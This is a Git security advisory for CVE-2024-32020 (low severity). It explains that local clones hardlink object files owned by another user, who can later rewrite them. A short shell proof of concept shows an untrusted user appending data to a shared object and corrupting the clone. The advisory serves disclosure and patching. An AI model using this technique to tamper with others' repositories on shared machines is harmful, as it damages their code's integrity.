Skip to content

Cloning local repository by untrusted user allows the untrusted user to modify objects in the cloned repository at will

Low
dscho published GHSA-5rfh-556j-fhgj May 14, 2024

Package

git

Affected versions

v2.45.0 v2.44.0 <=v2.43.3 <=v2.42.1 v2.41.0 <=v2.40.1 <=v2.39.3

Patched versions

v2.45.1 v2.44.1 v2.43.4 v2.42.2 v2.41.1 v2.40.2 v2.39.4

Description

Summary

Local clones may end up hardlinking files into the target repository's object database when source and target repository reside on the same disk. If the source repository is owned by a different user, then those hardlinked files may be rewritten at any point in time by the untrusted user.

Details

Cloning local repositories will cause Git to either copy or hardlink files of the source repository into the target repository. This significantly speeds up such local clones compared to doing a "proper" clone and saves both disk space and compute time.

When cloning a repository located on the same disk that is owned by a different user than the current user we also end up creating such hardlinks. These files will continue to be owned and controlled by the potentially-untrusted user and can be rewritten by them at will in the future.

PoC

$ git init source
Initialized empty Git repository in /tmp/source/.git/
$ cd source/
$ echo original >file
$ git add file
$ git commit -m "initial commit"
[main (root-commit) 3e12aea] initial commit
 1 file changed, 1 insertion(+)
 create mode 100644 file
$ sudo chown -R untrusted:untrusted .

$ cd ..
$ git clone source target
Cloning into 'target'...
done.
$ cd target/
$ ls -l .git/objects/4b/48deed3a433909bfd6b6ab3d4b91348b6af464
-r--r--r-- 2 untrusted untrusted 32 Apr 12 12:17 .git/objects/4b/48deed3a433909bfd6b6ab3d4b91348b6af464
$ sudo -u untrusted sh -c "echo garbage >>../source/.git/objects/4b/48deed3a433909bfd6b6ab3d4b91348b6af464
$ git fsck
error: garbage at end of loose object '4b48deed3a433909bfd6b6ab3d4b91348b6af464'
error: unable to unpack contents of .git/objects/4b/48deed3a433909bfd6b6ab3d4b91348b6af464
error: 4b48deed3a433909bfd6b6ab3d4b91348b6af464: object corrupt or missing: .git/objects/4b/48deed3a433909bfd6b6ab3d4b91348b6af464
Checking object directories: 100% (256/256), done.
missing blob 4b48deed3a433909bfd6b6ab3d4b91348b6af464

Severity

Low
3.9
/ 10

CVSS base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
None
Integrity
Low
Availability
Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:L

CVE ID

CVE-2024-32020

Weaknesses

No CWEs

Credits